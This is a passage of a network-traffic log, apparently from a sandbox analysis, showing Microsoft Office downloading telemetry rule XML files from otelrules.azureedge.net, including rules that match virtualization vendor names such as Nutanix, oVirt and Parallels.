2024-11-20 23:03:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:23 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230323Z-r1d97b9957789nh9hC1TEBxha800000009q0000000007q84 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:23 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230323Z-1777c6cb754gvvgfhC1TEBz4rg0000000a6000000000yuqs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:24 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230325Z-178bfbc474bbbqrhhC1NYCvw7400000000q0000000015pd8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:24 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230325Z-r1d97b99577656nchC1TEBk98c00000009fg00000000pd9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:24 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230325Z-1777c6cb754n67brhC1TEBcp9c0000000a8000000000qb17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:25 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230325Z-1777c6cb754ww792hC1TEBzqu40000000a5g000000004w21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:25 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230325Z-1777c6cb7542p5p4hC1TEBq0980000000a7000000000h003 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:27 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:27 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cf2b2526-c01e-0082-5660-3baf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230327Z-178bfbc474b9xljthC1NYCtw9400000000gg0000000089mc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:27 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:27 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230327Z-178bfbc474bwlrhlhC1NYCy3kg00000000fg00000000w0u7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:27 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:27 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230327Z-r1d97b99577n5jhbhC1TEB74vn00000009eg00000000hfhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:27 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230327Z-r1d97b99577kk29chC1TEBemmg00000009mg0000000078su x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:27 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
